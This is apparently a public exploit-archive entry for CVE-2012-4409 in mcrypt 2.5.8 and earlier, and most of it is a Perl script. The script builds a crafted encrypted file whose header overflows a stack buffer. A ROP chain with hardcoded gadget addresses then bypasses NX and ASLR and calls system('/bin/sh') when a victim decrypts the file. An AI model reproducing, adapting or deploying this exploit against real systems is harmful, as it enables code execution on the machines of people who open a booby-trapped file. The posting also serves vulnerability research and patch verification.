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mcrypt 2.5.8 Stack Based Overflow

mcrypt 2.5.8 Stack Based Overflow
Posted Nov 26, 2012
Authored by Tosh

mcrypt versions 2.5.8 and below stack based overflow exploit. Bypasses NX and ASLR protections.

tags | exploit, overflow
advisories | CVE-2012-4409
MD5 | c5923efd56756d5d1cd48e57007e6700

mcrypt 2.5.8 Stack Based Overflow

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#!/usr/bin/perl

# Title : mcrypt <= 2.5.8 STACK based overflow
# Date : 23/11/2012
# Exploit Author : Tosh
# CVE : CVE-2012-4409
# Patch : http://www.openwall.com/lists/oss-security/2012/09/06/8
# Tested on : Archlinux 3.6.6-1, without SSP


# This script exploit a stack based overflow in mcrypt <= 2.5.8.
# It bypass NX and ASLR protections, but no SSP.

# This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version
# of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more
# informations.

# Payload must be adjusted on others plateforms, here is just a Proof of Concept :)

use strict;
use warnings;

my $filename = 'fake.nc';

my $file;
my $payload;

print "[+] Build payload.\n";
$payload = payload();

print "[+] Build file.\n";
$file = build_file($payload);

print "[+] Writing $filename.\n";
write_file();

print "[+] DONE.\n";

sub write_file {
die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
print F $file;
close F;
}

sub build_file {
# magic
$file .= "\x00m\x03";

# flags
$file .= pack('C', 1 << 6);

# algorithm
$file .= "H\@Ck3d\x00";

# keysize
$file .= pack('S', 0xdead);

# mode
$file .= "h\@cK3d\x00";

# keymode
$file .= "H\@CK3D\x00";

# sflags
$file .= "\xff";

# payload
$file .= $_[0];

return $file;
}

sub payload {
my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP
my $v_local_1 = 0x0805b000; # Local variable 1 overwriten
my $v_local_2 = 0x08048007; # Local variable 2 overwriten
my $ret_sled = 5; # Offset between saved EIP and local variables
my $strcpy_plt = 0x080499f0; # strcpy@plt address
my $fopen64_got = 0x0805b1c8; # fopen64 got entry
my $system_off = 0xfffd6b30; # fopen64 - system
my $w_mem = 0x0805b000; # writable memory, without ASLR

my $pop2_ret = 0x08055a63; # pop; pop; ret
my $ret = 0x0805a5ed; # ret
my $pop_ebx = 0x08056186; # pop ebx; ret
my $pop_edi = 0x08053460; # pop edi; ret
my $xchg_eax = 0x080517a4; # xchg eax, edi; ret
my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret
my $call_eax = 0x0804b357; # call eax; leave; ret

my $payload;

$payload .= "A"x$saved_eip_off;
$payload .= pack('L', $ret) x $ret_sled;
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $v_local_1);
$payload .= pack('L', $v_local_2);

# Copy "/bin/" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x00);
$payload .= pack('L', 0x08057fc2);

# Copy "sh" + "\x00" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x05);
$payload .= pack('L', 0x08048bab);

# Calc system() address with fopen64 GOT entry
$payload .= pack('L', $pop_ebx);
$payload .= pack('L', $fopen64_got + 0x2776e73c);

$payload .= pack('L', $pop_edi);
$payload .= pack('L', $system_off);

$payload .= pack('L', $xchg_eax);

$payload .= pack('L', $add_eax);
$payload .= "HaCk";

# Call system("/bin/sh")
$payload .= pack('L', $call_eax);
$payload .= pack('L', $w_mem);

die("[-] Payload too long !\n") if(length $payload > 0xfe);
return $payload;
}


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